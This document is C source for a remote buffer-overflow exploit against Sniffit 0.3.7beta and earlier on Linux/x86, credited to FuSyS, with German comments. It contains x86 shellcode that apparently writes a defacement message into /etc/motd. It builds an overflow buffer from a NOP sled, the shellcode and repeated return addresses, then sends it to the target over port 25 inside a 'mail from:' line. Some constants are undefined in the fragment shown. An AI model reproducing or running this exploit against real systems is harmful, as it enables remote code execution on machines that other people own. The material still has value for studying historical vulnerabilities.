unsigned char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb"
"\xb3\x35\x01\xfb\x30\xe4\x88\x63\x09\x31\xc9\x66"
"\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0"
"\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
"\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64"
"\x01\x66\x75\x73\x79\x73\x20\x77\x61\x73\x20\x68"
"\x65\x72\x65\x0a";

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;
  
  if((addr.s_addr=inet_addr(hostname)) == -1) {
    if(!(hostEnt=gethostbyname(hostname))) {
      printf("Name Resolution Error:`%s`\n",
              hostname);
      exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,
          hostEnt->h_length);
  }
  return addr.s_addr;
}

int main(int argc,char **argv)
{
  char buff[LENGTH+ALIGNOP+1];
  char cmd[610];
  long addr;
  unsigned long sp;
  int offset=OFFSET;
  int i, x;
  int sock;
  struct sockaddr_in sin;
  
  if(argc<2) {
    fprintf(stderr, "Usage: %s <sniffit host>\n", 
                     argv[0]);
    exit(0);
  }
  
  sp=(unsigned long) RET;
  addr=sp-offset;
  
  /*hier wird der Overflowcode 'zusammengebaut'*/
  for(i=0;i<120-ALIGNOP;i++)
    buff[i]=0x90;
  for(x=0; x<strlen(shellcode); i++, x++)
    buff[i]=shellcode[x];
  for(i-=1 ; i<LENGTH; i+=4) {
    buff[i  ] =  addr & 0x000000ff;
    buff[i+1] = (addr & 0x0000ff00) >> 8;
    buff[i+2] = (addr & 0x00ff0000) >> 16;
    buff[i+3] = (addr & 0xff000000) >> 24;
  }
  
  printf("\nSniffit <=0.3.7beta Linux/x86"
         " Remote Exploit\n");
  printf("by FuSyS [S0ftpj|BFi] - "
         "http://www.s0ftpj.org\n\n");
  
  memset(&sin,0,sizeof(sin));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(25);
  sin.sin_addr.s_addr=nameResolve(argv[1]);
  
  printf("Connecting to %s ...\n", argv[1]);
  
  sock=socket(AF_INET,SOCK_STREAM,0);
  connect(sock,(struct sockaddr *)&sin,
          sizeof(sin));
  
  printf("Injecting ShellCode ...\n");
  
  strncat(cmd, "mail from:", 10);
  strncat(cmd, buff, strlen(buff));
  /*Overflowdaten senden*/
  write(sock, cmd, strlen(cmd));
  
  printf("Done!\n\n");
  
  return(0);
}